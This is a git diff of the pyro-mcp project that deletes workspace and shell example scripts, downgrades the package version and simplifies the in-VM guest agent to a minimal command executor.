-import asyncio -import json -import os -from typing import Any, cast - -from pyro_mcp import Pyro - -DEFAULT_MODEL = "gpt-5" - - -def _tool_to_openai(tool: Any) -> dict[str, Any]: - return { - "type": "function", - "name": str(tool.name), - "description": str(getattr(tool, "description", "") or ""), - "strict": True, - "parameters": dict(tool.inputSchema), - } - - -def _extract_structured(raw_result: object) -> dict[str, Any]: - if not isinstance(raw_result, tuple) or len(raw_result) != 2: - raise TypeError("unexpected call_tool result shape") - _, structured = raw_result - if not isinstance(structured, dict): - raise TypeError("expected structured dictionary result") - return cast(dict[str, Any], structured) - - -async def run_openai_workspace_core_example(*, prompt: str, model: str = DEFAULT_MODEL) -> str: - from openai import OpenAI # type: ignore[import-not-found] - - pyro = Pyro() - server = pyro.create_server() - tools = [_tool_to_openai(tool) for tool in await server.list_tools()] - client = OpenAI() - input_items: list[dict[str, Any]] = [{"role": "user", "content": prompt}] - - while True: - response = client.responses.create( - model=model, - input=input_items, - tools=tools, - ) - input_items.extend(response.output) - - tool_calls = [item for item in response.output if item.type == "function_call"] - if not tool_calls: - return str(response.output_text) - - for tool_call in tool_calls: - result = _extract_structured( - await server.call_tool(tool_call.name, json.loads(tool_call.arguments)) - ) - input_items.append( - { - "type": "function_call_output", - "call_id": tool_call.call_id, - "output": json.dumps(result, sort_keys=True), - } - ) - - -def main() -> None: - model = os.environ.get("OPENAI_MODEL", DEFAULT_MODEL) - prompt = ( - "Use the workspace-core tools to create a Debian 12 workspace named " - "`chat-fix`, write `app.py` with `print(\"fixed\")`, run it with " - "`python3 app.py`, export the file to `./app.py`, then delete the workspace. " - "Do not use one-shot vm_run for this request." - ) - print(asyncio.run(run_openai_workspace_core_example(prompt=prompt, model=model))) - - -if __name__ == "__main__": - main() diff --git a/examples/opencode_mcp_config.json b/examples/opencode_mcp_config.json deleted file mode 100644 index 518dc7d..0000000 --- a/examples/opencode_mcp_config.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "mcp": { - "pyro": { - "type": "local", - "enabled": true, - "command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"] - } - } -} diff --git a/examples/python_lifecycle.py b/examples/python_lifecycle.py index 6f6a82a..d1737c6 100644 --- a/examples/python_lifecycle.py +++ b/examples/python_lifecycle.py @@ -11,13 +11,19 @@ def main() -> None: pyro = Pyro() created = pyro.create_vm( environment="debian:12", + vcpu_count=1, + mem_mib=1024, ttl_seconds=600, network=False, ) vm_id = str(created["vm_id"]) - pyro.start_vm(vm_id) - result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30) - print(json.dumps(result, indent=2, sort_keys=True)) + + try: + pyro.start_vm(vm_id) + result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30) + print(json.dumps(result, indent=2, sort_keys=True)) + finally: + pyro.delete_vm(vm_id) if __name__ == "__main__": diff --git a/examples/python_run.py b/examples/python_run.py index e3040ef..b31f08e 100644 --- a/examples/python_run.py +++ b/examples/python_run.py @@ -12,6 +12,8 @@ def main() -> None: result = pyro.run_in_vm( environment="debian:12", command="git --version", + vcpu_count=1, + mem_mib=1024, timeout_seconds=30, network=False, ) diff --git a/examples/python_shell.py b/examples/python_shell.py deleted file mode 100644 index e30606c..0000000 --- a/examples/python_shell.py +++ /dev/null @@ -1,40 +0,0 @@ -from __future__ import annotations - -import tempfile -import time -from pathlib import Path - -from pyro_mcp import Pyro - - -def main() -> None: - pyro = Pyro() - with tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir: - Path(seed_dir, "note.txt").write_text("hello from shell\n", encoding="utf-8") - created = pyro.create_workspace(environment="debian:12", seed_path=seed_dir) - workspace_id = str(created["workspace_id"]) - try: - opened = pyro.open_shell(workspace_id) - shell_id = str(opened["shell_id"]) - pyro.write_shell(workspace_id, shell_id, input="pwd") - deadline = time.time() + 5 - while True: - read = pyro.read_shell( - workspace_id, - shell_id, - cursor=0, - plain=True, - wait_for_idle_ms=300, - ) - output = str(read["output"]) - if "/workspace" in output or time.time() >= deadline: - print(output, end="") - break - time.sleep(0.1) - pyro.close_shell(workspace_id, shell_id) - finally: - pyro.delete_workspace(workspace_id) - - -if __name__ == "__main__": - main() diff --git a/examples/python_workspace.py b/examples/python_workspace.py deleted file mode 100644 index d10673f..0000000 --- a/examples/python_workspace.py +++ /dev/null @@ -1,132 +0,0 @@ -from __future__ import annotations - -import tempfile -from pathlib import Path - -from pyro_mcp import Pyro - - -def main() -> None: - pyro = Pyro() - with ( - tempfile.TemporaryDirectory(prefix="pyro-workspace-seed-") as seed_dir, - tempfile.TemporaryDirectory(prefix="pyro-workspace-sync-") as sync_dir, - tempfile.TemporaryDirectory(prefix="pyro-workspace-export-") as export_dir, - tempfile.TemporaryDirectory(prefix="pyro-workspace-disk-") as disk_dir, - tempfile.TemporaryDirectory(prefix="pyro-workspace-secret-") as secret_dir, - ): - Path(seed_dir, "note.txt").write_text("hello from seed\n", encoding="utf-8") - Path(sync_dir, "note.txt").write_text("hello from sync\n", encoding="utf-8") - secret_file = Path(secret_dir, "token.txt") - secret_file.write_text("from-file\n", encoding="utf-8") - created = pyro.create_workspace( - environment="debian:12", - seed_path=seed_dir, - name="repro-fix", - labels={"issue": "123"}, - network_policy="egress+published-ports", - secrets=[ - {"name": "API_TOKEN", "value": "expected"}, - {"name": "FILE_TOKEN", "file_path": str(secret_file)}, - ], - ) - workspace_id = str(created["workspace_id"]) - try: - listed = pyro.list_workspaces() - print(f"workspace_count={listed['count']}") - updated = pyro.update_workspace( - workspace_id, - labels={"owner": "codex"}, - ) - print(updated["labels"]["owner"]) - pyro.push_workspace_sync(workspace_id, sync_dir) - files = pyro.list_workspace_files(workspace_id, path="/workspace", recursive=True) - print(f"workspace_entries={len(files['entries'])}") - note = pyro.read_workspace_file(workspace_id, "note.txt") - print(note["content"], end="") - written = pyro.write_workspace_file( - workspace_id, - "src/app.py", - text="print('hello from file ops')\n", - ) - print(f"written_bytes={written['bytes_written']}") - patched = pyro.apply_workspace_patch( - workspace_id, - patch=( - "--- a/note.txt\n" - "+++ b/note.txt\n" - "@@ -1 +1 @@\n" - "-hello from sync\n" - "+hello from patch\n" - ), - ) - print(f"patch_changed={patched['changed']}") - result = pyro.exec_workspace(workspace_id, command="cat note.txt") - print(result["stdout"], end="") - secret_result = pyro.exec_workspace( - workspace_id, - command='sh -lc \'printf "%s\\n" "$API_TOKEN"\'', - secret_env={"API_TOKEN": "API_TOKEN"}, - ) - print(secret_result["stdout"], end="") - diff_result = pyro.diff_workspace(workspace_id) - print(f"changed={diff_result['changed']} total={diff_result['summary']['total']}") - snapshot = pyro.create_snapshot(workspace_id, "checkpoint") - print(snapshot["snapshot"]["snapshot_name"]) - exported_path = Path(export_dir, "note.txt") - pyro.export_workspace(workspace_id, "note.txt", output_path=exported_path) - print(exported_path.read_text(encoding="utf-8"), end="") - shell = pyro.open_shell(workspace_id, secret_env={"API_TOKEN": "API_TOKEN"}) - shell_id = str(shell["shell_id"]) - pyro.write_shell( - workspace_id, - shell_id, - input='printf "%s\\n" "$API_TOKEN"', - ) - shell_output = pyro.read_shell( - workspace_id, - shell_id, - cursor=0, - plain=True, - wait_for_idle_ms=300, - ) - print(f"shell_output_len={len(shell_output['output'])}") - pyro.close_shell(workspace_id, shell_id) - pyro.start_service( - workspace_id, - "web", - command="touch .web-ready && while true; do sleep 60; done", - readiness={"type": "file", "path": ".web-ready"}, - secret_env={"API_TOKEN": "API_TOKEN"}, - published_ports=[{"guest_port": 8080}], - ) - services = pyro.list_services(workspace_id) - print(f"services={services['count']} running={services['running_count']}") - service_status = pyro.status_service(workspace_id, "web") - print(f"service_state={service_status['state']} ready_at={service_status['ready_at']}") - print(f"published_ports={service_status['published_ports']}") - service_logs = pyro.logs_service(workspace_id, "web", tail_lines=20) - print(f"service_stdout_len={len(service_logs['stdout'])}") - pyro.stop_service(workspace_id, "web") - stopped = pyro.stop_workspace(workspace_id) - print(f"stopped_state={stopped['state']}") - disk_listing = pyro.list_workspace_disk(workspace_id, path="/workspace", recursive=True) - print(f"disk_entries={len(disk_listing['entries'])}") - disk_read = pyro.read_workspace_disk(workspace_id, "note.txt") - print(disk_read["content"], end="") - disk_image = Path(disk_dir, "workspace.ext4") - pyro.export_workspace_disk(workspace_id, output_path=disk_image) - print(f"disk_bytes={disk_image.stat().st_size}") - started = pyro.start_workspace(workspace_id) - print(f"started_state={started['state']}") - reset = pyro.reset_workspace(workspace_id, snapshot="checkpoint") - print(f"reset_count={reset['reset_count']}") - print(f"secret_count={len(reset['secrets'])}") - logs = pyro.logs_workspace(workspace_id) - print(f"workspace_id={workspace_id} command_count={logs['count']}") - finally: - pyro.delete_workspace(workspace_id) - - -if __name__ == "__main__": - main() diff --git a/pyproject.toml b/pyproject.toml index 5e9b649..9603e0d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,7 +1,7 @@ [project] name = "pyro-mcp" -version = "4.5.0" -description = "Disposable MCP workspaces for chat-based coding agents on Linux KVM." +version = "1.0.0" +description = "Curated Linux environments for ephemeral Firecracker-backed VM execution." readme = "README.md" license = { file = "LICENSE" } authors = [ @@ -9,7 +9,7 @@ authors = [ ] requires-python = ">=3.12" classifiers = [ - "Development Status :: 4 - Beta", + "Development Status :: 5 - Production/Stable", "Environment :: Console", "Intended Audience :: Developers", "License :: OSI Approved :: MIT License", @@ -27,7 +27,6 @@ dependencies = [ Homepage = "https://git.thaloco.com/thaloco/pyro-mcp" Repository = "https://git.thaloco.com/thaloco/pyro-mcp" Issues = "https://git.thaloco.com/thaloco/pyro-mcp/issues" -PyPI = "https://pypi.org/project/pyro-mcp/" [project.scripts] pyro = "pyro_mcp.cli:main" @@ -67,7 +66,6 @@ dev = [ "pre-commit>=4.5.1", "pytest>=9.0.2", "pytest-cov>=7.0.0", - "pytest-xdist>=3.8.0", "ruff>=0.15.4", ] diff --git a/runtime_sources/README.md b/runtime_sources/README.md index 5184c0e..0c7fccb 100644 --- a/runtime_sources/README.md +++ b/runtime_sources/README.md @@ -18,13 +18,14 @@ Materialization workflow: Official environment publication workflow: 1. `make runtime-materialize` 2. `DOCKERHUB_USERNAME=... DOCKERHUB_TOKEN=... make runtime-publish-official-environments-oci` -3. if your uplink is slow, tune publishing with `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and `PYRO_OCI_REQUEST_TIMEOUT_SECONDS` +3. or run the repo workflow at `.github/workflows/publish-environments.yml` with Docker Hub credentials +4. if your uplink is slow, tune publishing with `PYRO_OCI_UPLOAD_TIMEOUT_SECONDS`, `PYRO_OCI_UPLOAD_CHUNK_SIZE_BYTES`, and `PYRO_OCI_REQUEST_TIMEOUT_SECONDS` Official end-user pulls are anonymous; registry credentials are only required for publishing. Build requirements for the real path: - `docker` -- outbound network access to the pinned upstream release hosts and Debian snapshot mirrors +- outbound network access to GitHub and Debian snapshot mirrors - enough disk for a kernel build plus 2G ext4 images per source profile Kernel build note: @@ -34,7 +35,7 @@ Kernel build note: Current status: 1. Firecracker and Jailer are materialized from pinned official release artifacts. 2. The kernel and rootfs images are built from pinned inputs into `build/runtime_sources/`. -3. The guest agent is installed into each rootfs and used for vsock exec plus workspace archive imports. +3. The guest agent is installed into each rootfs and used for vsock exec. 4. `runtime.lock.json` now advertises real guest capabilities. Safety rule: diff --git a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py index a469d7b..ea9c2cf 100644 --- a/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py +++ b/runtime_sources/linux-x86_64/guest/pyro_guest_agent.py @@ -1,70 +1,26 @@ #!/usr/bin/env python3 -"""Guest-side exec, workspace import, and interactive shell agent.""" +"""Minimal guest-side exec agent for pyro runtime bundles.""" from __future__ import annotations -import base64 -import codecs -import fcntl -import io import json -import os -import re -import shlex -import shutil -import signal import socket -import struct import subprocess -import tarfile -import tempfile -import termios -import threading import time -import urllib.error -import urllib.request -from pathlib import Path, PurePosixPath from typing import Any PORT = 5005 BUFFER_SIZE = 65536 -WORKSPACE_ROOT = PurePosixPath("/workspace") -SHELL_ROOT = Path("/run/pyro-shells") -SERVICE_ROOT = Path("/run/pyro-services") -SECRET_ROOT = Path("/run/pyro-secrets") -WORKSPACE_FILE_MAX_BYTES = 1024 * 1024 -SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") -SHELL_SIGNAL_MAP = { - "HUP": signal.SIGHUP, - "INT": signal.SIGINT, - "TERM": signal.SIGTERM, - "KILL": signal.SIGKILL, -} -SHELL_SIGNAL_NAMES = tuple(SHELL_SIGNAL_MAP) - -_SHELLS: dict[str, "GuestShellSession"] = {} -_SHELLS_LOCK = threading.Lock() - - -def _redact_text(text: str, redact_values: list[str]) -> str: - redacted = text - for secret_value in sorted( - {item for item in redact_values if item != ""}, - key=len, - reverse=True, - ): - redacted = redacted.replace(secret_value, "[REDACTED]") - return redacted def _read_request(conn: socket.socket) -> dict[str, Any]: chunks: list[bytes] = [] while True: - data = conn.recv(1) + data = conn.recv(BUFFER_SIZE) if data == b"": break chunks.append(data) - if data == b"\n": + if b"\n" in data: break payload = json.loads(b"".join(chunks).decode("utf-8").strip()) if not isinstance(payload, dict): @@ -72,427 +28,13 @@ def _read_request(conn: socket.socket) -> dict[str, Any]: return payload -def _read_exact(conn: socket.socket, size: int) -> bytes: - remaining = size - chunks: list[bytes] = [] - while remaining > 0: - data = conn.recv(min(BUFFER_SIZE, remaining)) - if data == b"": - raise RuntimeError("unexpected EOF while reading archive payload") - chunks.append(data) - remaining -= len(data) - return b"".join(chunks) - - -def _normalize_member_name(name: str) -> PurePosixPath: - candidate = name.strip() - if candidate == "": - raise RuntimeError("archive member path is empty") - member_path = PurePosixPath(candidate) - if member_path.is_absolute(): - raise RuntimeError(f"absolute archive member paths are not allowed: {name}") - parts = [part for part in member_path.parts if part not in {"", "."}] - if any(part == ".." for part in parts): - raise RuntimeError(f"unsafe archive member path: {name}") - normalized = PurePosixPath(*parts) - if str(normalized) in {"", "."}: - raise RuntimeError(f"unsafe archive member path: {name}") - return normalized - - -def _normalize_destination(destination: str) -> tuple[PurePosixPath, Path]: - candidate = destination.strip() - if candidate == "": - raise RuntimeError("destination must not be empty") - destination_path = PurePosixPath(candidate) - if not destination_path.is_absolute(): - destination_path = WORKSPACE_ROOT / destination_path - parts = [part for part in destination_path.parts if part not in {"", "."}] - normalized = PurePosixPath("/") / PurePosixPath(*parts) - if normalized == PurePosixPath("/"): - raise RuntimeError("destination must stay inside /workspace") - if normalized.parts[: len(WORKSPACE_ROOT.parts)] != WORKSPACE_ROOT.parts: - raise RuntimeError("destination must stay inside /workspace") - suffix = normalized.relative_to(WORKSPACE_ROOT) - host_path = Path("/workspace") - if str(suffix) not in {"", "."}: - host_path = host_path.joinpath(*suffix.parts) - return normalized, host_path - - -def _normalize_shell_cwd(cwd: str) -> tuple[str, Path]: - normalized, host_path = _normalize_destination(cwd) - return str(normalized), host_path - - -def _normalize_service_name(service_name: str) -> str: - normalized = service_name.strip() - if normalized == "": - raise RuntimeError("service_name is required") - if SERVICE_NAME_RE.fullmatch(normalized) is None: - raise RuntimeError("service_name is invalid") - return normalized - - -def _service_stdout_path(service_name: str) -> Path: - return SERVICE_ROOT / f"{service_name}.stdout" - - -def _service_stderr_path(service_name: str) -> Path: - return SERVICE_ROOT / f"{service_name}.stderr" - - -def _service_status_path(service_name: str) -> Path: - return SERVICE_ROOT / f"{service_name}.status" - - -def _service_runner_path(service_name: str) -> Path: - return SERVICE_ROOT / f"{service_name}.runner.sh" - - -def _service_metadata_path(service_name: str) -> Path: - return SERVICE_ROOT / f"{service_name}.json" - - -def _normalize_secret_name(secret_name: str) -> str: - normalized = secret_name.strip() - if normalized == "": - raise RuntimeError("secret name is required") - if re.fullmatch(r"^[A-Za-z_][A-Za-z0-9_]{0,63}$", normalized) is None: - raise RuntimeError("secret name is invalid") - return normalized - - -def _validate_symlink_target(member_path: PurePosixPath, link_target: str) -> None: - target = link_target.strip() - if target == "": - raise RuntimeError(f"symlink {member_path} has an empty target") - target_path = PurePosixPath(target) - if target_path.is_absolute(): - raise RuntimeError(f"symlink {member_path} escapes the workspace") - combined = member_path.parent.joinpath(target_path) - parts = [part for part in combined.parts if part not in {"", "."}] - if any(part == ".." for part in parts): - raise RuntimeError(f"symlink {member_path} escapes the workspace") - - -def _ensure_no_symlink_parents(root: Path, target_path: Path, member_name: str) -> None: - relative_path = target_path.relative_to(root) - current = root - for part in relative_path.parts[:-1]: - current = current / part - if current.is_symlink(): - raise RuntimeError( - f"archive member would traverse through a symlinked path: {member_name}" - ) - - -def _extract_archive(payload: bytes, destination: str) -> dict[str, Any]: - normalized_destination, destination_root = _normalize_destination(destination) - destination_root.mkdir(parents=True, exist_ok=True) - bytes_written = 0 - entry_count = 0 - with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: - for member in archive.getmembers(): - member_name = _normalize_member_name(member.name) - target_path = destination_root.joinpath(*member_name.parts) - entry_count += 1 - _ensure_no_symlink_parents(destination_root, target_path, member.name) - if member.isdir(): - if target_path.is_symlink() or (target_path.exists() and not target_path.is_dir()): - raise RuntimeError(f"directory conflicts with existing path: {member.name}") - target_path.mkdir(parents=True, exist_ok=True) - continue - if member.isfile(): - target_path.parent.mkdir(parents=True, exist_ok=True) - if target_path.exists() and (target_path.is_dir() or target_path.is_symlink()): - raise RuntimeError(f"file conflicts with existing path: {member.name}") - source = archive.extractfile(member) - if source is None: - raise RuntimeError(f"failed to read archive member: {member.name}") - with target_path.open("wb") as handle: - while True: - chunk = source.read(BUFFER_SIZE) - if chunk == b"": - break - handle.write(chunk) - bytes_written += member.size - continue - if member.issym(): - _validate_symlink_target(member_name, member.linkname) - target_path.parent.mkdir(parents=True, exist_ok=True) - if target_path.exists() and not target_path.is_symlink(): - raise RuntimeError(f"symlink conflicts with existing path: {member.name}") - if target_path.is_symlink(): - target_path.unlink() - os.symlink(member.linkname, target_path) - continue - if member.islnk(): - raise RuntimeError( - f"hard links are not allowed in workspace archives: {member.name}" - ) - raise RuntimeError(f"unsupported archive member type: {member.name}") - return { - "destination": str(normalized_destination), - "entry_count": entry_count, - "bytes_written": bytes_written, - } - - -def _install_secrets_archive(payload: bytes) -> dict[str, Any]: - SECRET_ROOT.mkdir(parents=True, exist_ok=True) - for existing in SECRET_ROOT.iterdir(): - if existing.is_dir() and not existing.is_symlink(): - shutil.rmtree(existing, ignore_errors=True) - else: - existing.unlink(missing_ok=True) - bytes_written = 0 - entry_count = 0 - with tarfile.open(fileobj=io.BytesIO(payload), mode="r:*") as archive: - for member in archive.getmembers(): - member_name = _normalize_member_name(member.name) - target_path = SECRET_ROOT.joinpath(*member_name.parts) - entry_count += 1 - if member.isdir(): - target_path.mkdir(parents=True, exist_ok=True) - target_path.chmod(0o700) - continue - if member.isfile(): - target_path.parent.mkdir(parents=True, exist_ok=True) - target_path.parent.chmod(0o700) - source = archive.extractfile(member) - if source is None: - raise RuntimeError(f"failed to read secret archive member: {member.name}") - with target_path.open("wb") as handle: - while True: - chunk = source.read(BUFFER_SIZE) - if chunk == b"": - break - handle.write(chunk) - target_path.chmod(0o600) - bytes_written += member.size - continue - if member.issym() or member.islnk(): - raise RuntimeError(f"secret archive may not contain links: {member.name}") - raise RuntimeError(f"unsupported secret archive member type: {member.name}") - return { - "destination": str(SECRET_ROOT), - "entry_count": entry_count, - "bytes_written": bytes_written, - } - - -def _inspect_archive(archive_path: Path) -> tuple[int, int]: - entry_count = 0 - bytes_written = 0 - with tarfile.open(archive_path, "r:*") as archive: - for member in archive.getmembers(): - entry_count += 1 - if member.isfile(): - bytes_written += member.size - return entry_count, bytes_written - - -def _prepare_export_archive(path: str) -> dict[str, Any]: - normalized_path, source_path = _normalize_destination(path) - if not source_path.exists() and not source_path.is_symlink(): - raise RuntimeError(f"workspace path does not exist: {normalized_path}") - if source_path.is_symlink(): - artifact_type = "symlink" - elif source_path.is_file(): - artifact_type = "file" - elif source_path.is_dir(): - artifact_type = "directory" - else: - raise RuntimeError(f"unsupported workspace path type: {normalized_path}") - - with tempfile.NamedTemporaryFile(prefix="pyro-export-", suffix=".tar", delete=False) as handle: - archive_path = Path(handle.name) - try: - with tarfile.open(archive_path, "w") as archive: - archive.dereference = False - if artifact_type == "directory": - for child in sorted(source_path.iterdir(), key=lambda item: item.name): - archive.add(child, arcname=child.name, recursive=True) - else: - archive.add(source_path, arcname=source_path.name, recursive=False) - entry_count, bytes_written = _inspect_archive(archive_path) - return { - "workspace_path": str(normalized_path), - "artifact_type": artifact_type, - "archive_path": archive_path, - "archive_size": archive_path.stat().st_size, - "entry_count": entry_count, - "bytes_written": bytes_written, - } - except Exception: - archive_path.unlink(missing_ok=True) - raise - - -def _workspace_entry(path_text: str, host_path: Path) -> dict[str, Any]: - try: - stat_result = os.lstat(host_path) - except FileNotFoundError as exc: - raise RuntimeError(f"workspace path does not exist: {path_text}") from exc - if host_path.is_symlink(): - return { - "path": path_text, - "artifact_type": "symlink", - "size_bytes": stat_result.st_size, - "link_target": os.readlink(host_path), - } - if host_path.is_dir(): - return { - "path": path_text, - "artifact_type": "directory", - "size_bytes": 0, - "link_target": None, - } - if host_path.is_file(): - return { - "path": path_text, - "artifact_type": "file", - "size_bytes": stat_result.st_size, - "link_target": None, - } - raise RuntimeError(f"unsupported workspace path type: {path_text}") - - -def _join_workspace_path(base: str, child_name: str) -> str: - base_path = PurePosixPath(base) - return str(base_path / child_name) if str(base_path) != "/" else f"/{child_name}" - - -def _list_workspace(path: str, *, recursive: bool) -> dict[str, Any]: - normalized_path, host_path = _normalize_destination(path) - entry = _workspace_entry(str(normalized_path), host_path) - if entry["artifact_type"] != "directory": - return { - "path": str(normalized_path), - "artifact_type": entry["artifact_type"], - "entries": [entry], - } - entries: list[dict[str, Any]] = [] - - def walk(current_path: str, current_host_path: Path) -> None: - children: list[tuple[dict[str, Any], Path]] = [] - with os.scandir(current_host_path) as iterator: - for child in iterator: - child_host_path = Path(child.path) - children.append( - ( - _workspace_entry( - _join_workspace_path(current_path, child.name), - child_host_path, - ), - child_host_path, - ) - ) - children.sort(key=lambda item: str(item[0]["path"])) - for child_entry, child_host_path in children: - entries.append(child_entry) - if recursive and child_entry["artifact_type"] == "directory": - walk(str(child_entry["path"]), child_host_path) - - walk(str(normalized_path), host_path) - return { - "path": str(normalized_path), - "artifact_type": "directory", - "entries": entries, - } - - -def _read_workspace_file(path: str, *, max_bytes: int) -> dict[str, Any]: - if max_bytes <= 0: - raise RuntimeError("max_bytes must be positive") - if max_bytes > WORKSPACE_FILE_MAX_BYTES: - raise RuntimeError( - f"max_bytes must be at most {WORKSPACE_FILE_MAX_BYTES} bytes" - ) - normalized_path, host_path = _normalize_destination(path) - entry = _workspace_entry(str(normalized_path), host_path) - if entry["artifact_type"] != "file": - raise RuntimeError("workspace file read only supports regular files") - raw_bytes = host_path.read_bytes() - if len(raw_bytes) > max_bytes: - raise RuntimeError( - f"workspace file exceeds the maximum supported size of {max_bytes} bytes" - ) - return { - "path": str(normalized_path), - "size_bytes": len(raw_bytes), - "content_b64": base64.b64encode(raw_bytes).decode("ascii"), - } - - -def _ensure_no_symlink_parents_for_write(root: Path, target_path: Path, path_text: str) -> None: - relative_path = target_path.relative_to(root) - current = root - for part in relative_path.parts[:-1]: - current = current / part - if current.is_symlink(): - raise RuntimeError( - f"workspace path would traverse through a symlinked parent: {path_text}" - ) - - -def _write_workspace_file(path: str, *, text: str) -> dict[str, Any]: - raw_bytes = text.encode("utf-8") - if len(raw_bytes) > WORKSPACE_FILE_MAX_BYTES: - raise RuntimeError( - f"text must be at most {WORKSPACE_FILE_MAX_BYTES} bytes when encoded as UTF-8" - ) - normalized_path, host_path = _normalize_destination(path) - _ensure_no_symlink_parents_for_write(Path("/workspace"), host_path, str(normalized_path)) - if host_path.exists() or host_path.is_symlink(): - entry = _workspace_entry(str(normalized_path), host_path) - if entry["artifact_type"] != "file": - raise RuntimeError("workspace file write only supports regular file targets") - host_path.parent.mkdir(parents=True, exist_ok=True) - with tempfile.NamedTemporaryFile( - prefix=".pyro-workspace-write-", - dir=host_path.parent, - delete=False, - ) as handle: - temp_path = Path(handle.name) - handle.write(raw_bytes) - os.replace(temp_path, host_path) - return { - "path": str(normalized_path), - "size_bytes": len(raw_bytes), - "bytes_written": len(raw_bytes), - } - - -def _delete_workspace_path(path: str) -> dict[str, Any]: - normalized_path, host_path = _normalize_destination(path) - entry = _workspace_entry(str(normalized_path), host_path) - if entry["artifact_type"] == "directory": - raise RuntimeError("workspace file delete does not support directories") - host_path.unlink(missing_ok=False) - return { - "path": str(normalized_path), - "deleted": True, - } - - -def _run_command( - command: str, - timeout_seconds: int, - *, - env: dict[str, str] | None = None, -) -> dict[str, Any]: +def _run_command(command: str, timeout_seconds: int) -> dict[str, Any]: started = time.monotonic() - command_env = os.environ.copy() - if env is not None: - command_env.update(env) try: proc = subprocess.run( ["/bin/sh", "-lc", command], text=True, capture_output=True, - env=command_env, timeout=timeout_seconds, check=False, ) @@ -511,701 +53,7 @@ def _run_command( } -def _set_pty_size(fd: int, rows: int, cols: int) -> None: - winsize = struct.pack("HHHH", rows, cols, 0, 0) - fcntl.ioctl(fd, termios.TIOCSWINSZ, winsize) - - -def _shell_argv(*, interactive: bool) -> list[str]: - shell_program = shutil.which("bash") or "/bin/sh" - argv = [shell_program] - if shell_program.endswith("bash"): - argv.extend(["--noprofile", "--norc"]) - if interactive: - argv.append("-i") - return argv - - -class GuestShellSession: - """In-guest PTY-backed interactive shell session.""" - - def __init__( - self, - *, - shell_id: str, - cwd: Path, - cwd_text: str, - cols: int, - rows: int, - env_overrides: dict[str, str] | None = None, - redact_values: list[str] | None = None, - ) -> None: - self.shell_id = shell_id - self.cwd = cwd_text - self.cols = cols - self.rows = rows - self.started_at = time.time() - self.ended_at: float | None = None - self.exit_code: int | None = None - self.state = "running" - self._lock = threading.RLock() - self._output = "" - self._decoder = codecs.getincrementaldecoder("utf-8")("replace") - self._redact_values = list(redact_values or []) - self._metadata_path = SHELL_ROOT / f"{shell_id}.json" - self._log_path = SHELL_ROOT / f"{shell_id}.log" - self._master_fd: int | None = None - - master_fd, slave_fd = os.openpty() - try: - _set_pty_size(slave_fd, rows, cols) - env = os.environ.copy() - env.update( - { - "TERM": env.get("TERM", "xterm-256color"), - "PS1": "pyro$ ", - "PROMPT_COMMAND": "", - } - ) - if env_overrides is not None: - env.update(env_overrides) - process = subprocess.Popen( # noqa: S603 - _shell_argv(interactive=True), - stdin=slave_fd, - stdout=slave_fd, - stderr=slave_fd, - cwd=str(cwd), - env=env, - text=False, - close_fds=True, - preexec_fn=os.setsid, - ) - except Exception: - os.close(master_fd) - raise - finally: - os.close(slave_fd) - - self._process = process - self._master_fd = master_fd - self._write_metadata() - self._reader = threading.Thread(target=self._reader_loop, daemon=True) - self._waiter = threading.Thread(target=self._waiter_loop, daemon=True) - self._reader.start() - self._waiter.start() - - def summary(self) -> dict[str, Any]: - with self._lock: - return { - "shell_id": self.shell_id, - "cwd": self.cwd, - "cols": self.cols, - "rows": self.rows, - "state": self.state, - "started_at": self.started_at, - "ended_at": self.ended_at, - "exit_code": self.exit_code, - } - - def read(self, *, cursor: int, max_chars: int) -> dict[str, Any]: - with self._lock: - redacted_output = _redact_text(self._output, self._redact_values) - clamped_cursor = min(max(cursor, 0), len(redacted_output)) - output = redacted_output[clamped_cursor : clamped_cursor + max_chars] - next_cursor = clamped_cursor + len(output) - payload = self.summary() - payload.update( - { - "cursor": clamped_cursor, - "next_cursor": next_cursor, - "output": output, - "truncated": next_cursor < len(redacted_output), - } - ) - return payload - - def write(self, text: str, *, append_newline: bool) -> dict[str, Any]: - if self._process.poll() is not None: - self._refresh_process_state() - with self._lock: - if self.state != "running": - raise RuntimeError(f"shell {self.shell_id} is not running") - master_fd = self._master_fd - if master_fd is None: - raise RuntimeError(f"shell {self.shell_id} transport is unavailable") - payload = text + ("\n" if append_newline else "") - try: - os.write(master_fd, payload.encode("utf-8")) - except OSError as exc: - self._refresh_process_state() - raise RuntimeError(f"failed to write shell input: {exc}") from exc - response = self.summary() - response.update({"input_length": len(text), "append_newline": append_newline}) - return response - - def send_signal(self, signal_name: str) -> dict[str, Any]: - signum = SHELL_SIGNAL_MAP.get(signal_name) - if signum is None: - raise ValueError(f"unsupported shell signal: {signal_name}") - if self._process.poll() is not None: - self._refresh_process_state() - with self._lock: - if self.state != "running": - raise RuntimeError(f"shell {self.shell_id} is not running") - pid = self._process.pid - try: - os.killpg(pid, signum) - except ProcessLookupError as exc: - self._refresh_process_state() - raise RuntimeError(f"shell {self.shell_id} is not running") from exc - response = self.summary() - response["signal"] = signal_name - return response - - def close(self) -> dict[str, Any]: - if self._process.poll() is None: - try: - os.killpg(self._process.pid, signal.SIGHUP) - except ProcessLookupError: - pass - try: - self._process.wait(timeout=5) - except subprocess.TimeoutExpired: - try: - os.killpg(self._process.pid, signal.SIGKILL) - except ProcessLookupError: - pass - self._process.wait(timeout=5) - else: - self._refresh_process_state() - self._close_master_fd() - if self._reader is not None: - self._reader.join(timeout=1) - if self._waiter is not None: - self._waiter.join(timeout=1) - response = self.summary() - response["closed"] = True - return response - - def _reader_loop(self) -> None: - master_fd = self._master_fd - if master_fd is None: - return - while True: - try: - chunk = os.read(master_fd, BUFFER_SIZE) - except OSError: - break - if chunk == b"": - break - decoded = self._decoder.decode(chunk) - if decoded == "": - continue - with self._lock: - self._output += decoded - with self._log_path.open("a", encoding="utf-8") as handle: - handle.write(decoded) - decoded = self._decoder.decode(b"", 